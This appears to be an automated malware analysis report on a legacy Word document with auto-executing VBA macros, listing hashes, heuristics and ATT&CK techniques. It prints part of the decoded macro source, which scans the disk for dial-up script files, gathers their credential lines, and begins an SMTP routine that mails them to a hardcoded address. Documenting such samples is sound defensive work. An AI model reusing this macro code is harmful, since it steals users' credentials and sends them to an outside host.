Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 115eeaf716dadf51…

MALICIOUS

Office (OLE)

56.0 KB Created: 2001-02-09 15:21:00 Authoring application: Microsoft Word 8.0 First seen: 2012-06-14
MD5: ef02d590d00b537fd0f44c1bc8a0b214 SHA-1: 95c2b514768d1c5ffb0359ae1a17779991e35ef5 SHA-256: 115eeaf716dadf51e3fc7eb36d8cadec297673b4adc961eac46313744b93b09b
320 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1203 Exploitation for Client Execution

The sample contains VBA macros with AutoOpen and AutoClose functions, and a critical heuristic firing for a Shell() call. This indicates the macro is designed to execute arbitrary commands. The ClamAV detection of 'Win.Trojan.C-286' on an extracted artifact further suggests a malicious payload is being dropped or executed.

Heuristics 7

  • VBA macros detected medium 4 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • Auto_Close macro high OLE_VBA_AUTOCLOSE
    Auto_Close macro
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Password-protected archive handoff high SE_PASSWORD_ARCHIVE_LURE
    Document gives password instructions for an archive or attachment — often used to keep payloads encrypted until after gateway scanning
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 53678 bytes
SHA-256: bd02f1b59b8530b491bc2601e5fd353da0a80b411b97f7ef43f0ceee258561a0
Detection
ClamAV: Win.Trojan.C-286
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "Módulo1"
'Dial-up_script_checker
Option Explicit
Declare Function GetWindow Lib "user32" (ByVal hwnd As Long, ByVal wCmd As Long) As Long
Declare Function GetWindowText Lib "user32" Alias "GetWindowTextA" (ByVal hwnd As Long, ByVal lpString As String, ByVal cch As Long) As Long
Declare Function GetWindowTextLength Lib "user32" Alias "GetWindowTextLengthA" (ByVal hwnd As Long) As Long
Declare Function SendMessage Lib "user32.dll" Alias "SendMessageA" (ByVal hwnd As Long, ByVal Msg As Long, wParam As Any, lParam As Any) As Long
Declare Function FindWindow Lib "user32.dll" Alias _
"FindWindowA" (ByVal lpClassName As Any, _
ByVal lpWindowName As Any) As Long
Function Adapt(Cod As String)
Dim PostCod As String
Dim i As Long
On Error Resume Next
For i = 1 To Len(Cod)
 If i >= 76 And (i Mod 76) = 0 Then
  PostCod = PostCod + Mid(Cod, i, 1) + "#"
  Else
  PostCod = PostCod + Mid(Cod, i, 1)
 End If
Next
Adapt = "#" + PostCod + "#"
End Function
'End Sub
Function SCP()
Dim i As Integer
Dim Tmp As String
Dim Found As Boolean
Dim NUA As String
Dim MScript1 As String
Dim MScript2 As String
Dim NF As Integer

On Error Resume Next
If Application.Visible = False Then
With Application.FileSearch
     .LookIn = "c:\"
     .SearchSubFolders = True
     .FileName = "*.scp"
     .Execute
    Found = False
    For i = 1 To .FoundFiles.Count
     NF = FreeFile
     If InStr(1, .FoundFiles(i), "MyInternet.scp", vbTextCompare) = 0 Then
     Open .FoundFiles(i) For Input Access Read As #NF
      Do While Not EOF(NF)
       Line Input #NF, Tmp
        MScript1 = MScript1 + Chr(13) + Chr(10) + Tmp
        If InStr(1, Tmp, "-.int", vbBinaryCompare) Or InStr(1, Tmp, "-.nt", vbBinaryCompare) Then
        Found = True
        NUA = NUA + Chr(13) + Chr(10) + Tmp
       End If
      Loop
     Close NF
     
     If Len(MScript1) < 5000 And Found = True Then MScript2 = MScript2 + Chr(13) + Chr(10) + .FoundFiles(i) + Chr(13) + Chr(10) + MScript1
     Found = False: Tmp = "": MScript1 = ""
    DoEvents
    End If
    Next i
End With
SCP = NUA + Chr(13) + Chr(10) + MScript2
NF = FreeFile
Open "C:\WINDOWS\MyInternet.scp" For Output Access Write As NF
 Print #NF, SCP
Close NF
Else
NF = FreeFile
On Error GoTo CONEZ
Open "C:\WINDOWS\MyInternet.scp" For Input Access Read As NF
  Do While Not EOF(NF)
  Line Input #NF, Tmp
  SCP = SCP + Tmp
  Loop
 Close #NF
End If
CONEZ:
End Function
' End Sub
Sub Sender_main()

Dim Handle As Long
Dim HandleBW As Long
                      
Dim NoConn_ As String
Dim hwnd As Long
                 
Dim GrabStr As String
Dim Start As Long
Dim MyDat As Byte
Dim i As Integer
Dim NPwl() As String
Dim j As Integer
Dim Title As String
Dim SMTP As String
Dim Host(1 To 14) As String
Dim A() As Integer
Dim f As Integer
Dim NF As Integer
Dim THwnd As Long
Dim Twnd As String
Dim None As String
Dim RecipientOfMessage_ As String
Dim SenderAddress As String
Dim SenderDomain As String
Dim FNum_ As Integer
Dim Usname
Dim Domain_ As String

On Error Resume Next
If Check_Connection = True Then
RecipientOfMessage_ = "<kashek@usa.net>"

Host(1) = "smtp.mail.ru": Domain_ = "@mail.ru"
Usname = Array("-dima-", "2vasiliy", "521521", "DGabidullin", "Intarsija", "KirovDVP", "Mischelli", "MonitorExpress", "Sveta-P2000", "Voronin_Vladimir", "a_kladenova", "abccondi", "abs", "admiralll", "ako", "alazif", "alcan777", "aleksiv2000", "alena_elena", "alexander555", "alexkis", "alexsar", "alltair", "alt-info", "antares_", "anton76", "artyserg", "arxi77", "asp", "ate", "avatchev", "axel_extr", "balds", "bars-profile", "batsek", "best-njl", "bigmoney4u", "bkp", "braut_99", "broker-nsk", "bxk", "c_service", "carlych", "ciap", "courses", "darlenka", "daswer", "datasave")
Host(2) = "itk2.bas-net
... (truncated)

Open this report in the interactive analyzer, or submit your own file for analysis.